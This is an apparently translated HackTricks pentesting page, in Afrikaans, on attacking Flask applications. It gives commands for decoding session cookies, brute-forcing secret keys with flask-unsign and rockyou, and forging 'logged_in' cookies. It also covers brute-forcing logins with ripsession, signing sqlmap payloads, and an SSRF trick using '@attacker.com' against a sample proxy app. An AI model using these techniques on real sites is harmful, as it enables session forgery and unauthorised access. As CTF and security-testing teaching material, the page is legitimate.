2.6 KiB
Flask
{{#include ../../banners/hacktricks-training.md}}
Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.
Koekies
Die standaard koekie sessienaam is session.
Dekodeerder
Aanlyn Flask koekies dekodeerder: https://www.kirsle.net/wizards/flask-session.cgi
Handmatig
Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.
echo "ImhlbGxvIg" | base64 -d
Die koekie is ook onderteken met 'n wagwoord
Flask-Unsign
Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.
{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}
pip3 install flask-unsign
Dekodeer Koekie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Teken
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Ondertekening met behulp van erfenis (ouditiewe weergawes)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Opdraglyn hulpmiddel om webwerwe te brute-force met koekies wat met flask-unsign gemaak is.
{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask sessie koekie met SQLmap
Hierdie voorbeeld gebruik sqlmap eval opsie om automaties sqlmap payloads vir flask te teken met 'n bekende geheim.
Flask Proxie na SSRF
In hierdie skrywe word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
In die volgende scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.
{{#include ../../banners/hacktricks-training.md}}